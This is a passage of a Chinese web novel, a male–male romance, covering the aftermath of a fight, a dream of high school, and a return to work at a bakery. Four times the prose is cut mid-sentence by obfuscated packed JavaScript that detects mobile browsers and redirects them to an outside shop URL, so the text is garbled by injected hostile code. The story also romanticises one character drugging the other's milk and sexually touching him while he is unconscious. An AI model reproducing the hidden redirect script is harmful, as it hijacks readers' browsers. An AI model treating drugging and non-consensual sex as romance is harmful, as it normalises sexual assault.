卢答见他被自己拉住,还有点委屈似的。他踮起脚,把手落在冉让肩上,是一个安抚并着支撑的姿势,有点好笑:“怎么,你还想动手啊?” 打这么爽,情绪怎么还低落上了? 冉让眉眼沉沉,侧过脸时鼻梁如山,沉郁时更显五官峻拔。 卢答色令智昏,还真的考虑了一下刚才是不是不应该阻止,思考完,他还是觉得自己做得对。 毕竟再打下去他们就要从原告变被告了。 冉让察觉到他动作,方才把脸转回来些许,只是半张脸仍隐藏在黑暗里。他头低头,让卢答碰得更顺利,闷声道:“……没有。” 心里想着的是便宜这群人了,但反正对着卢答,他一向是有也说没有的。 想拦卢答的旁观者手还悬在半空,看刚还大杀四方、拳拳到肉的冉让现在的模样,觉得自己精神都要恍惚了,默默地把掉地上的下巴捡回来。 此时,安保终于来了。 卢答没了面对冉让时的如沐春风,睨了领头的廖全一眼,廖全讪笑。卢答指了指作乱的那群人:“给你个将功补过的机会,把这群人全送到警局门口。” 这些人流里流气,看着就像是有不少案底在身上的。 *** 没想到短短一周内,能二进宫警局。 闹事者见势不妙,开始偷换概念,胡搅蛮缠地躺在地上说冉让把他打骨折了。值班民警无奈,心知他是无赖,但也尽职尽责地带他去验伤。 确实下手有点狠,看着验伤报告,卢答叹了口气。 幸好过错方分明,先动手的是他们而且有录像为证,前台护士小姐、兄妹以及其他好心路人都愿意出面作证:冉让和卢答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344669|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是出于好心的防卫过当。 来的路上冉让就冷着脸打电话联系了律师,两人备完案,又坐着等了一会儿,赶着最快一班飞机的张律就风尘仆仆地到了。 卢答看看他,又转头看看冉让,嘴角抽了抽,觉得张律来实在是有点大材小用。 但张律不愧于他领的年薪,态度极其专业。他在来的路上就详细了解了事情全过程,此时彬彬有礼地走向警察:“陈警官您好,我是冉先生的代理律师,我……” 说话声渐远。后续估计还要配合问话,但卢答现在没心思想那么多了,只专心处理着眼前的事。 * “别动。”卢答把沾了碘伏的棉签轻轻在冉让脸侧上,见他轻嘶,往后稍退了些,瞪了冉让一眼,本就轻的动作却更加柔和:“现在知道痛了?” 在刚才的互殴,不,更准确地来说是冉让的单方面压制里,他还是有轻微挂彩的。 “谁让你冲那么前面的,不知道躲吗?” 卢答选择性地忽略了这场斗殴里受伤更重的人,小心擦拭冉让左脸上的那小块淤青。 冉让刺棱的头发微乱,眼里还燃着未曾熄灭的攻击性,他带着小擦伤的嘴角紧抿,显得野性十足,有一种城市文明养不出的凶性,自有其不驯。 冉让就这样沉默地看着卢答,炯炯的眼神看得卢答脸热,忍不住后仰。 传来的却不是疼痛和瓷砖的冰冷,而是冉让手心的温度。冉让眼疾手快,在卢答后仰的那瞬间伸出手垫住他后脑。 “小心点。” 两个人之间的距离霎时拉近,呼吸交错,又齐齐停滞。 冉让能看见卢答卷翘的睫毛很快地颤了两下,然后便只是轻轻翕动着。 近得他能看见卢答鼻根的小痣,像一滴极细的褐色水珠,圆溜溜,狡黠地落在眼下。 卢答灵透的五官霎时鲜活。 他的吐息是热的,和冉让手背抵住的墙的冰凉是天平两端的两种触感。 直到久久悬于半空的碘伏渗了一滴,落在了卢答衣角,两个人才反应过来似的,霎时退开,卢答继续给冉让处理伤口。 静默。 长久的静默。 过一会儿,卢答才想起来问:“你怎么来了?”这个点,冉让应该在开会吧。 冉让摸摸鼻子,视线略游移,不敢说自己是翘了会来的。 * 时间回到几小时前。 冉让等了一会儿,聊天框还是没有新消息。 他浓眉紧皱,眼角微垂,虽然实际上并无不耐烦,但下三白眼的长相使然,显得脸色很臭。 误以为是对发言不满意,克拉斯在对面停住话头,其他人也都不敢再说。 “嗯?”安静了一会儿,冉让才反应过来:“没事,继续……” “有人吗?” 外头传来一阵敲门声,冉让一顿,继而道:“我忙点事,诺兰写一下纪要。” 冉让带着些许疑惑打开门,外卖员低头看了眼单子,向他确认:“您好,是冉先生吗?这有您的花,签收一下。” 映入眼帘的,是一大捧如云如雪的花束。以皎洁的白为底色,丝丝缕缕如烟如雾的粉落在其上,娇嫩的花瓣上还带着露水,浅蓝色丝带扎成松散的蝴蝶结,长拖尾坠下,香气馥郁。 冉让视线久久停驻在那一束重瓣香雪兰上,那一瞬间,不知为何,突然特别想见卢答。 他想见,于是他来了。 他也庆幸他来了。 * 这人到底有没有把自己的安危放在心上? 见他还走神,卢答不再收着力道,愤愤地点了一下冉让的淤青,好气又好笑:“你是笨蛋吗?” 9. 想念冉让 冉让“嘶”了一声,下意识后退,又沉浸在回忆里,不假思索地回:“你才是……” 回神的同时他意识到身在何处,两人正在冷战,便减弱语气,尾音也渐消。但不知道他又想到了什么,闷声道:“我不是笨蛋。” 卢答胡乱点两下头,充耳不闻冉让的辩解,替他上完药,嘱咐道:“记得不要沾水……” 他刚把碘伏的盖子拧回去,手突然被冉让捉去。冉让不知道看到了什么,面色又沉下来,难看得紧。 卢答疑惑。 “别动。”冉让道,他嗓子仿佛还粗粝地滚着那团火,连带着呼出的热气喷在卢答耳廓,声音发哑,烫得卢答无端脸热。 看完手,冉让又双手捧着卢答的脸开始检查,神情肃穆而认真,左转右转地看,放过他脸上的任何一个地方,耳垂要捏一捏,连睫毛都根根数过去似的仔细。 卢答整张脸被他笼在手心,脸颊肉压得都圆润些许,说话含糊:“干嘛……” 冉让不为所动,压住心底想捏卢答脸的冲动,确认完卢答的脸光洁如初,才松开手。 恢复自由的卢答没好气地瞪他一眼,伸手揉了揉自己的脸,正要开口说话,手突然又被冉让再次捉去。 冉让英气浓密的眉紧皱,讲着关心人的话,也像在呛声:“手上这么一大个伤口,你都没感觉吗?” 话开了个口子,后面都絮絮地倾倒出来了:“你就这么不把自己的安全放在心上?” 冉让说:“你才是笨蛋。” “说谁笨蛋呢?” 卢答有点不虞,推了他胸膛一把。没推动,他又加大力气推了一把,还是没推动。 他都要百思不得其解了:冉让到底怎么练出来的这腹肌? “不要教训我。说得好像你不是冲在最前面一样。” 他低头一看,差点笑出来:“什么嘛,”卢答来回看了几遍,才确定冉让说的是那条细细的划痕:“这再晚点都要愈合了。” 冉让语气很差:“都出血了。” 是渗血了,但早已凝固,估计是动作间无意擦过哪里造成的,划痕小得卢答毫无感觉,只有冉让低头擦碘伏时带来轻微的刺痛。 冉让半低着头替他擦药,侧脸好认真,眉仍旧皱着,像在精心改一道跑出bug的程序。 卢答还想说话,冉让剐蹭的嘴角却进入眼帘,他忍不住伸出手。 心里的湖泊有风吹过,荡起了几丝涟漪,有颗石子被打进来,砸裂水面,又安静地沉没了下去。 他的手未曾真正抚上冉让唇角,只是遥遥隔着空气相触碰,但不再说话。冉让未曾抬头,自然也不知道卢答变换的神情。 过半晌,冉让才打破了沉默。 看着卢答垂着眼、睫毛轻轻颤动的侧脸,他心一软,理智回神,语气缓和,只是讲话依然硬邦邦:“手对你来说有多重要,你不知道?” 卢答已收拾好自己的表情,眉眼带笑,抬起另一只手,做了个投降的手势。 冉让的脸色好看了些,从鼻腔里轻哼一声。 卢答恢复了平时的表情,看着冉让拿了绷带,替自己包扎那条几厘米长的伤疤。卢答单手托腮,非常敬业地又演了起来:“你知道我是干什么的?” 他垂着眸,看到冉让动作一僵。 但冉让心理素质极好,下一瞬又恢复正常:“猜的。” 卢答哦了一声:“你这么神通广大?” 包扎好了,但冉让并不满意。他努力回想记忆里卢答给自己包扎时的手法,拆开绷带,重新比划几下:“你便签本掉在病房里了,我看过设计图。很好看。” 他后知后觉地补充了一句:“摊开在地上了,我不是故意偷看。” “没事,”卢答并不在意,“不过凭着几张图就能知道我做珠宝设计,你也很懂行嘛。” 冉让给卢答重新扎好才抬起头,像听不出卢答揶揄的语气一般,道:“家里有人喜欢,就了解了一点。” 他的神情也平静下来,恢复了平时的冷淡,眉目沉郁,像海底礁石。 卢答低头,看了眼手上那个有些笨拙的蝴蝶结,笑了一下。 两人目光对视,一人含笑,眼角上挑,琥珀眼柔和;一人凝眉,下三白眼凶戾,两相对撞在空气中,竟有诡异的和谐。 没人移开视线,两个人就维持着这有些奇怪的姿势。 说话声渐近,张律推推银丝边眼睛,转头跟身边的警官道:“所以目前事态已经明确了,是对方先动的手,我的当事人在自身受到威胁的情况下……” 说话声齐齐停住,两个人转头看过来。 对上张律投来的那较为隐晦的,好奇、探究又带着几分疑惑的视线。卢答额角一跳,推了一把冉让。 冉让才反应了过来,像从梦中惊醒似的后退,卢答也同时往后挪了十几厘米,默契地远离了他。 张律领着超高年薪,当然会适当地装聋作哑。他轻咳一声,假装自己什么都没看到,走过去一板一眼交代了后续的事情。 然而不知是否出于某种恶趣味,他态度刻意得过头。三人也是老相识,卢答自然能看出来。 卢答笑着,态度很谦和,不时点点头,只是放在身边的手悄悄伸到冉让腰间,掐了一把。 冉让脊背一僵,面色却纹丝不动,安如磐石。 *** 到家时已近深夜,四下阒然无声。 光明公寓内居住的多是觉浅的老年人,故而两人都默契地放轻了动作。 卢答先进门,像没注意到身后冉让的视线似的,停下脚步,挥挥手,没回头。 “晚安。” 卢答背对冉让低声道,尾调上扬而柔和,仿佛已坠入一个轻快的甜梦,他对冉让说:“做个好梦。” 冉让又驻足许久,直到视线适应黑暗,能模糊地分辨出卢答门上401的牌子时,他才轻轻的应了一声,尽管已无人应答。 “……晚安。” * 从浴室出来,卢答找了块毛巾虚笼着头发,邮箱有新邮件的提示,卢答看着熟悉的图标,本来不想打开。 他并没有做好重新参加比赛的准备。 但眼前突然划过冉让那双沉郁的眼和他嘴角的轻微擦痕,冉让的眼睛,太黑也太亮,看向自己时,像夜晚折射出无数渔船灯光的海平面,无垠的蓝,星星点点的亮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344670|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卢答手顿了顿,还是点开了邮件。 回复完邮件,卢答倒了杯牛奶,顺便在冰箱前观察了一下存货,觉得下次去超市买花露水时可以囤几盒新奶了。 有一口没一口地喝着,卢答在列表中找到联系人。 【巧克力几分熟】:熹春哥,最近忙吗? 【巧克力几分熟】:[小猫跳舞].jpg 卢答本来发完消息就准备先睡,做好了明天被回复的准备。只是没想到对面几乎秒回。 卢答又看了眼右上角的时间,暗自咋舌,这就是霸总的生活吗…… 【春】:忙不死 【春】:安安找我有事? 虽然卢答一度抗议过别人叫他小名,但抗议只对同辈人有效,对上冉熹春这种辈分稍大一截并且爱唱反调的人就无效了。 虽然关系不如和楚恕之、崔溯洄那样亲近,但也能算得上是从小一起长大的交情。 嗯,看着自己长大怎么不算一起长大的交情呢? 因此卢答便开门见山。 【巧克力几分熟】:有个事情想找你帮忙。 冉熹春前两年创办了一个援助儿童的基金会,他能力过硬,集团基金会两手抓,这两年办得如火如荼,卢答也略有耳闻。 他回家路上已经查阅过相关文件,兄妹的情况符合特殊条例。 冉熹春答应得很爽快,说明天就派人来丘市,还转发了助理的名片过来,让卢答有问题后续和助理联系。 卢答发了个小猫感谢的表情包,说下次回家给他带礼物。 解决了一桩心腹大患,卢答的神色才轻松了。他又给张律发消息,询问那些闹事亲戚的后续。 张律也是秒回。他办事妥帖,早有准备,发过来几个文档。 卢答点开,粗略地扫了几眼,看见有不少人都有小偷小摸的前科,还有人因为家暴进过局子。 都是人渣。 卢答嗤一声,又把消息转发给廖全,廖全这次极其上道,不用卢答说已经明白了他的意思,回了个“保证完成任务”。 正常人应付不了破皮无赖,卢答深谙此道:只有比他们更无赖,或者更强大。他有强大的办法,也有无赖的办法。 * 他本来已经退出微信了,想了想,又点开许久未发消息的家庭群,认认真真打字。 只是打完,卢答看着那行待发送的文字,又慢慢逐字删掉。 他并不想让父母更加担心自己了。 转而,他打开了[F4]的小群,发了出去。 【巧克力几分熟】:谢谢妈妈给我报的那些防身班。 楚恕之依旧没动静,而崔溯洄仿佛住在手机里,秒回消息。 【在水一方】:怎么了,你和人打架了??? 【在水一方】:你没事吧? 【巧克力几分熟】:我把对面打得嗷嗷叫[得意] 自游戏之后不再在群里说话的冉让也出来冒了个泡。 【R】:[点赞] 卢答看了下他的消息,忍不住笑了下。真奇怪,才分开几个小时,他就已经开始想冉让了。 他想着,把杯中牛奶一饮而尽。 10. 梦中之梦 许是睡前牛奶起了助眠作用,卢答睡得极沉。 今天和冉让靠得太近,不知不觉间,冉让身上喷的的海洋之盐于悄无声息之间侵袭了卢答的潜意识。 雪松、皮革、麝香,后调挟带海盐的粗粝,卢答觉得自己仿佛坠落于海中,被海浪拥抱着,飘呀、摇呀。 他久违地梦到了冉让。 不是冷战期也不是热恋期的冉让,是高中时的冉让。 * 上学时两个人就极亲昵极黏糊,偏偏从小一起长大,一直是这个相处模式,竟没人觉得不对。 崔溯洄、楚恕之曾无数次痛斥:明明是四人组合,但他们俩总自己过二人世界,把另外两个人排除在外。 卢答就跳到冉让背上,让冉让背自己,得意又灿烂,酒窝酿出蜜一样的笑:“那当然啦,小追和我天下第一好!” 那年他还没开始长高,蝴蝶骨和脊椎游在校服衬衫下,人纤纤瘦瘦一条,被冉让晃来晃去的像只风筝。 漂亮的、玲珑的、带来春天的风筝。 没听见冉让的回答,卢答有点不满意,推推冉让的肩。 分明他只比卢答大几个月,个头却窜得比卢答快,肩也长起来,有了雏形。 趴在他肩头时,卢答突如其来地想:为什么小追给人的感觉这么安心呢? 像学校底楼支撑用的白色大理石圆柱,巨大、坚硬,有着石头的触感和重量,靠在上面永远不用担心摔倒,可以尽情发呆。 冉让不知道他在想些什么,只捻着被卢答指甲颜料蹭彩的衣角,仍由他手臂挂在自己脖子上,像考拉一样把自己当树抱。 见卢答来寻求自己的认可,冉让眼里不自觉地沁出点笑意。 他眉目依旧冷凝,下三白眼直视人也显示凶戾,只眼角如春风般化开,嗯了一句,应着卢答的话,看似有点无奈:“嗯,我和你天下第一好。” 楚恕之在一旁控诉,狗狗眼下垂得很可怜:“你们两个把我俩当什么了?” 他经常出去比赛,而和两人相处更久的崔溯洄已经看透这两个人。 看着明显乐在其中的冉让和还没开窍的某人,她眉一挑,朝冉让伸出手:“打劫,饭卡。” 冉让和她对视一眼,不知道两个人交换了什么讯息,他勾勾嘴角,懒洋洋道:“外套口袋,自己拿。” 崔溯洄没靠过来,让卢答递过去。 卢答伸出手在冉让口袋里摸索,把饭卡给崔溯洄,视线有点狐疑地在两个人之间打转:“你们俩背着我干什么了?” 在和冉让有关的事情上,他总是分外敏锐。 说话间,卢答身体向前倾,微卷的发梢瘙过冉让的侧脸,冉让觉得脸有点痒,但没躲开。 闻到卢答发间清新的、迸溅出的橘子味,冉让轻屏住呼吸,答非所问:“你换香水了?” “嗯,换了侍寝香,喷被子里的你也能闻到,你狗鼻子呀?”卢答嗅嗅自己的衣领,诧异道:“留香这么久吗?” “不对,”卢答反应过来,眼睛瞪圆,毫无威胁力,鼻根小痣显得他娇气又蛮横,是很招人的可爱:“冉追你不准转移话题啊。” 冉让眉目沉肃,两个人的脸几乎贴在一起,分明是迥异的长相和风格,却又像能嵌合的拼图般和谐。 冉让没说话,卢答又叫他,拖长了声音:“冉让,小追,冉追——” 冉让应了一声,却是说:“最近不是有颗很想要的宝石吗,我给你买?” “那个叫帕拉伊巴碧玺啦,”卢答瞬间放弃追究,笑起来:“你零花钱这么多吗?很贵的。” 卢答零花钱不少,但基本攒不下来,遇到好看宝石只能眼馋。 冉让英气的眉轻挑:“什么时候骗过你。” 卢答问:“你哪来这么多钱啊?” 冉让说得像在路上捡到了一块钱般轻松:“卖了个程序。” 卢答呜呜咽咽说:“小追,我要和你好一辈子。”给他买宝石的都是大好人! 冉让奉承他:“好一辈子。” 站在不远处的崔溯洄抱着臂看这一切,笑容里有种了然。她晃了晃饭卡,对冉让做了个“二”的口型。示意她要宰两顿。 冉让无奈地看了眼自己身上的树袋熊,比了个“OK”的手势。 楚恕之还在一边流面条泪,说都怪该死的竞赛拆散了他们F4,崔溯洄把他提起来扯走:“你能别得了便宜还卖乖吗,多少人想去比赛都去不了。” “走啦,我们一起去花冉让的钱。” “好的,”楚恕之抽抽噎噎地说,报菜名却很快:“我要吃二食堂三楼的牛肉面和肉夹馍,哦,蛋糕坊的炸鸡排我也要。” 反正不是花自己的钱,崔溯洄很大方,把卡递给他,豪气道:“随便刷。” 楚恕之说:“那我要加双倍牛肉。” 崔溯洄说:“加!加十倍,我们今天必须把冉追卡刷爆。” 冉让瞟一眼,冰冰凉凉,楚恕之被他看得抖了一下,仍然倔强地接过卡。 冉让哼笑:“崔溯洄,我不是聋了也不是死了。” 崔溯洄装听不到,把楚恕之扒拉走。 “太过分了,”卢答指挥着冉让追上去,道:“加双倍牛肉怎么不带我!” 冉让托了他一把,无奈:“别摔了。” 卢答笑,眼睛都眯起来,酒窝很甜:“这不是有你嘛。” 笑声传得很远。 画面就停在这里,不知白雾从哪弥漫,湮灭了这无忧无虑的青春一刻。 然后燃烧起了火。 * 窗帘没拉紧实,阑珊月色便透过这细缝漏进来,由窄变宽地投到床上,蜿蜒出一条月光小径。 尽头是一张恬静的睡颜。 床头依旧打着小灯,照得卢答脸绒绒,眉目秀美,长睫投下一小块阴影与鼻梁上,随着呼吸轻轻起伏,他睡得极沉。 冉让随手把钥匙扔在床头柜上,听着“哒”一声脆响。 冉让观察着卢答,见卢答呼吸已经轻缓,确认他已经睡熟。 依旧无法把视线从这望过许多遍的睡颜上移开。 冉让伸出手摩挲卢答的侧脸,见他脸陷进自己手掌心,白净小巧,堪堪只有自己半掌大,乖巧地仍自己摆弄,眼神微暗:“做了什么梦……” 他不期望卢答能回答,因为牛奶里加的药足够卢答维持深度睡眠直到五点。 不过尽管他听不见,冉让还是道:“乖一点,宝宝。” 他低下头,亲了亲卢答的额头,唇瓣和温热的额头一触即分,像个普通的晚安吻。 手却顺着卢答的睡衣下摆探了进去。 * 火把四人的背影烧成了空白,从远处一直灼到了卢答身上。 火苗窜到哪里,哪里就变烫。皮肤战栗,激起一阵又一阵细小的鸡皮疙瘩。 “宝宝,”昏沉的意识里,卢答听见耳边有人道,哄着自己:“再分开点?” 画面一转,两人站在高远而广袤的湖边。 水声汩汩,绵密湿软,风暴肆意搅动湖泊,水花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344671|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四溅,湖泊里有鱼被捞上来,细细剔去鳞片与骨。 于是卢答和他一起吃鱼。 厨师大显身手,鱼的鱼鳃被两指捏住,温柔而不容拒绝地打开,带着狰狞青筋的手从鳃进入,挤过紧致的鱼肉与其下细细的小刺,寸寸探访至鱼腹最柔软的肉,将其呈上。 那肉丰润,甚至无需过于用力,一箸下起就能轻易夹起,常因为柔嫩而从筷子上掉落于桌,鱼肉抿化在口中,清甜,是需要反复耐心、仔细品尝的好滋味。 (审核求你了这是两个人在吃鱼求你了) 卢答思绪昏沉,火烧云一样艳丽而空茫的场景充斥了他的大脑,过量刺激如同小蛇一样的电流窜过,让他在睡梦中也仰起脸,双颊成霞,红从耳尖一路染到锁骨处。 “呃……” 卢答大口呼吸着,汲取越来越微薄的氧气,有人覆上来,唇舌灵巧,渡来氧气。 晕乎乎的卢答本能地追逐上去,却被卷住舌头又嘬又吸,粗糙舌苔刮过卢答口腔每一寸,那人吻卢答的上颚,袭夺走他赖以为生的最后一丝氧气。 被这样亲,卢答整个人都在发抖,他想要挣脱,却被人箍在怀里,强行压制着,动弹不得,只有睫毛无力地扑闪。 他被抱到人腿上,那人轻松地圈着卢答的腰,把他箍在自己手臂里,上下轻颠着安抚他,一手抱着卢答,还能空出一手替卢答拭泪。 只是脸颊滚烫,粗糙的掌纹擦过,脸颊钝痛,卢答眼泪掉得愈发凶,被他紧紧抱在怀间,又一迭声唤着,诱哄:“宝宝……” (审核你好这里只是抱抱求你了无任何脖子以下) “乖宝,不哭。” “亲一亲,不哭了好不好?” 那人沉肃冷淡的声音放低,极尽温柔,粗粝的声线说软话,滚在卢答耳里,缱绻得使他更加晕乎乎。 迷迷糊糊乱点几下头,卢答张开嘴,舌尖探出一小截。 好听话。那人笑了,热气喷在卢答颈上,却只是说一套做一套,动作依然毫不客气:“好乖,这是奖励。” 卢答在接吻的间隙呜咽求饶,他也应下。还亲亲卢答的鼻尖,亲亲他睫毛,也亲他鼻根小痣,亲了又亲,舌尖点在小痣上,轻轻地吻。 安抚意味很足,只是越发用力,亲得有多柔,力度就有多重。 卢答就被他一直牵引入火焰中,不知餍足地共燃着。 *** 第二天阳光灿烂,但卢答起来腰酸背痛,头昏脑涨,心情阴雨蒙蒙。 如果说之前醒来的感受是在小舟上颠簸,那么这次醒来的感受就是船在暴风雨中触礁了。 彻底不装了是吗? 卢答本因第一个梦而升起的怀念愈发浓重:谁能让高中时那个自己指哪打哪不会动手动脚的冉让返场? 身体倒是被清洁过,但沉重像是被车碾过。卢答感受了一下,冷笑着走进盥洗室,一边走一边脱上衣,到镜子前时,他侧过身子回头看,琥珀眼微眯。 镜中人的四肢修长、皎洁如月,全无瑕疵。 卢答比梦中的高中时刻长了许多,身上也附了层薄薄的肌肉,只是他高挑,细长骨骼分明地从皮下挣出,皮肉薄薄贴着骨头长,视觉上仍然给人清瘦之感。 卢答撩起自己发尾,从后颈凸出的一粒骨头开始,一截骨游弋向下,一路延伸向下,直至镜子照不到的地方。 在镜子边缘,恰好坠着两个腰窝,边缘泛红。 卢答看着那将要消退的指印,哼笑一声。 下手倒是挺轻的。 11. 吃面包狗 今天,卢答的假期彻底结束,将回面包店上班了。 他到店里时,杨舒文已经换好了员工服,朝卢答挥挥手,戏谑道:“稀客啊。” 卢答戴上口罩,遮住了笑容,眼睛却仍弯弯的:“别打趣我啦,舒文姐。” 虽然假期结束了,不过卢答之后的打工时长也减少了。 卢答本来就是为体验生活做的兼职,现在为了能有更多的时间来画图,他和郑萱商量着只做半天打打下手,工资也不用给,每天让他带点卖剩下的面包走就可以。 郑萱很爽快地同意了。虽然她知道卢答不缺钱,但依旧说要按照比例给他发工资,面包依然可以随便带。 两个人遂开始商量怎么招新人,杨舒文也在一边出谋划策,最后决定先贴个招人告示。卢答说海报包在他身上。 聊完正事,郑萱好奇:“不过,你怎么会想起要面包?当时你刚来店里,建议我把蜂蜜小面包加为新品,我还以为是你自己爱吃,没想到后面发现你不喜欢吃甜。” 卢答唔了声,笑:“拿去喂……大狗。” 郑萱疑惑:“狗能吃蜂蜜小面包吗?” 一般喂狗狗不都是全麦面包吗? 卢答说:“我喂的这只品种特殊,可以。”被喂面包还会舔自己的手指呢。 有这种品种的狗吗? 郑萱还是疑惑,但本着对卢答的信任不再多言。 * 今天面包店有两件大事,除了卢答复工之外,童童也要出院了。 面包店依旧提前关了门,卢答帮郑萱拉下卷帘门,拍了拍手,掸去手上灰尘,蹬上自行车,跟在小电驴后面去医院。 到了童童的病房,里面还有两个熟悉的人。 妹妹正在床边和童童玩着翻花绳,两个小女孩脸凑在一起,有如出一辙的认真。哥哥坐在椅子上,百无聊赖地打了个哈欠,都没发现卢答来了。 是眼尖的童童先朝卢答挥了挥手,招呼他:“卢答!” 哥哥妹妹才一齐抬头,同时转头朝卢答看来,动作一致,默契十足。 他们五官不像,唯独一双圆眼仿佛复制粘贴般地去到另一个人脸上,清亮有神,都是很好看的孩子,也不难看出父母之前是如何精心爱护的。 想到在资料里看见的名字:常安,常乐。平平安安、快快乐乐。 卢答心里悄悄叹了口气。 常安见到卢答,眼睛一亮,站起来一蹦一跳地朝卢答过来。 “受伤了吗?”卢答快步上前扶住他,以为那群人又来闹事,眉微微蹙着,心想廖全下手还是不够狠。 常安摇摇头,指指脚下,卢答这才发现他少了根鞋带,顿时啼笑皆非:原来翻花绳的绳子是这么来的。 卢答看出常安有点不好意思,便朝郑萱点点头,对常安指指外面:“我在楼道等你们。” 他来到了两个人第一次见面的楼道里,没过一会儿,常安就过来了。见他独自一人,卢答轻挑起眉,却没再多说。 卢答问:“你有微信吗?” 常安点点头,给卢答看自己的小天才电话手表。 卢答忍住笑,加了他的好友,把陈助理的名片转发给他,交代了基金会的事情:“……所以,之后你和基金会有关的事情直接联系他就好,当然,也可以继续来找我,我可以代为沟通,生活方面有其事也可以来找我。” 卢答又让常安存下自己的号码,看着他操纵电话手表的样子,觉得自己要提醒一下陈助理帮他买手机。 常安逐一记下,点点头,小脸板正,突然又迟疑着问:“那没事……可以来找你吗?” “当然可以啊,”卢答见他小大人模样,把手放到他头上,轻轻揉了揉。不知道是否天生,卢答对幼崽一向耐心十足,此时笑得都更温柔些:“随时欢迎。” “对了,一直没来得及问,你的名字是什么?” 虽然已经在资料里看见过了,但卢答始终觉得名字对于一个人来说意义非凡。向别人郑重道出自己的名字,才像认识的第一步。 他朝常安伸出手,弯下腰:“我是卢答。” 常安也被卢答的态度感染,小脸严肃,踮起脚把自己的手叠上去:“我是常安。” “我妹妹是……” 常安又要替常乐介绍,卢答对他做了个嘘的手势。 他人还是笑眯眯的,漂亮的琥珀眼落在阳光下,澄澈如金绿宝石,泛着波光,又因为过于透明,反而让人无法探寻。 卢答不知想了些什么,轻轻眨了眨眼睛,浓密的睫毛打出一小片阴影:“有些话,或许还是她自己来说比较好哦。” 常安怔楞着点头。 一齐回病房的路上,他又鼓足勇气,道:“……她要出来,是我没同意。” “我知道。”卢答点点头。 他问:“我想保护她,这是错的吗?” 常安亦步亦趋,两个人的脚步声整齐地响着,但卢答一直没回答,直到快到病房门口时,卢答突然站住。 “看。”卢答说。 两人正在拐角处,能看到病房里面,而受视野限制,里面的人看不见位于盲区的他们。 病房门开着,里面的场景落在了两人眼底。 郑萱在替童童收拾着东西,童童想帮忙,却被她推回到床上:“你再坐一会儿,身体刚好呢。” 童童仰起脸,认真极了:“我好了的,我可以帮妈妈。” 郑萱只顾着把带的小毯子收起来,折得平平整整,连逆了的图案都捋顺,却不看她一眼,只道:“乖,听话啊,坐着玩去。” 童童只能回去和常乐玩手指碰十游戏,但她的视线却始终跟随着妈妈,眼睛滴溜溜地转,而常乐不时往门口瞥,两个人都玩得心不在焉。 看了半晌,卢答才说话。 “这没有对错之分,”他在回答常安上面的问题:“只是,有时候该问问被保护者的想法。” 常安仍有些茫然,看着屋内常乐期盼的神情,情不自禁地往前走了两步。这两步刚好让他走出了视觉盲区,漏了片衣角出来。 屋内抬着头的常乐却眼睛一亮,跳下床,跑得快极了,飞扑到他怀里。 常安都不知道她是怎么凭这半片衣角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344672|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认出自己的。 就好像她独自坐在那里等待的时候,已经想了很久很久重逢时的场景,所以可以从任何角度认出他。 他一时之间不知道该说些什么,便只习惯性地问:“还适应吗?” “下次要不要哥哥陪你一起?” 常乐从他身上下来,才看见卢答,红着脸问了好。闻言,她点点头,又摇摇头,道:“习惯的,不用啦,哥哥忙,我知道的。”半句没提等待。 常安本以为她会撒娇,此时仍茫然,下意识抬头看了眼卢答。 卢答早已往后退了一步,把空间留给兄妹两个,此时见他看过来,只是笑着冲常安歪了歪头。 那笑容浅,却不知为何给了常安一点力量,他牵住常乐的手,说:“下次……” “什么呀?” “下次哥哥带你一起。” 常乐眼睛亮晶晶,用力点头:“好!” “我想跟哥哥在一起!” 话一出口,她便反应过来,像说错话一般地捂住嘴。常安又看一眼卢答,鼓起勇气,却说得有些磕磕绊绊:“哥、哥哥也想和你一起。” 回应他的是常乐的一个扑。 卢答靠着门看兄妹俩,眸光温和,思绪已飘远。他仍带着习惯性的笑容,眼底却晦涩难明。 *** 卢答站在403门前,敲了敲门,没人应。卢答加重力道敲了敲,又喊了两声,依旧没人应。 冉让估计在写程序。 卢答在给冉让发消息还是打电话之间纠结了一会儿,顾虑到两个人现在在冷战,不是那么想主动联系他。 